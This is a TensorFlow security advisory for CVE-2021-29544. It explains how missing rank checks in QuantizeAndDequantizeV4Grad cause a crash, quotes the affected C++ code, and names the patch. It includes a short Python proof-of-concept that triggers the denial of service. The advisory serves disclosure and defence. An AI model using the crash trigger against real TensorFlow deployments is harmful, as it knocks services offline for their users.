## TFSA-2021-031: `CHECK`-fail in `QuantizeAndDequantizeV4Grad`

### CVE Number
CVE-2021-29544

### Impact
An attacker can trigger a denial of service via a `CHECK`-fail in
`tf.raw_ops.QuantizeAndDequantizeV4Grad`:

```python
import tensorflow as tf

gradient_tensor = tf.constant([0.0], shape=[1])
input_tensor = tf.constant([0.0], shape=[1])
input_min = tf.constant([[0.0]], shape=[1, 1])
input_max = tf.constant([[0.0]], shape=[1, 1])

tf.raw_ops.QuantizeAndDequantizeV4Grad(
  gradients=gradient_tensor, input=input_tensor,
  input_min=input_min, input_max=input_max, axis=0)
```

This is because the
[implementation](https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L162-L163)
does not validate the rank of the `input_*` tensors. In turn, this results in
the tensors being passes as they are to
[`QuantizeAndDequantizePerChannelGradientImpl`](https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.h#L295-L306):

```cc
template <typename Device, typename T>
struct QuantizeAndDequantizePerChannelGradientImpl {
  static void Compute(const Device& d,
                      typename TTypes<T, 3>::ConstTensor gradient,
                      typename TTypes<T, 3>::ConstTensor input,
                      const Tensor* input_min_tensor,
                      const Tensor* input_max_tensor,
                      typename TTypes<T, 3>::Tensor input_backprop,
                      typename TTypes<T>::Flat input_min_backprop,
                      typename TTypes<T>::Flat input_max_backprop) {
    ...
    auto input_min = input_min_tensor->vec<T>();
    auto input_max = input_max_tensor->vec<T>();
    ...
}
```

However, the `vec<T>` method, requires the rank to 1 and triggers a `CHECK`
failure otherwise.

### Patches
We have patched the issue in GitHub commit
[20431e9044cf2ad3c0323c34888b192f3289af6b](https://github.com/tensorflow/tensorflow/commit/20431e9044cf2ad3c0323c34888b192f3289af6b).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
commit on TensorFlow 2.4.2 as this is the only other affected version.

### For more information
Please consult [our security
guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
more information regarding the security model and how to contact us with issues
and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
X-Team.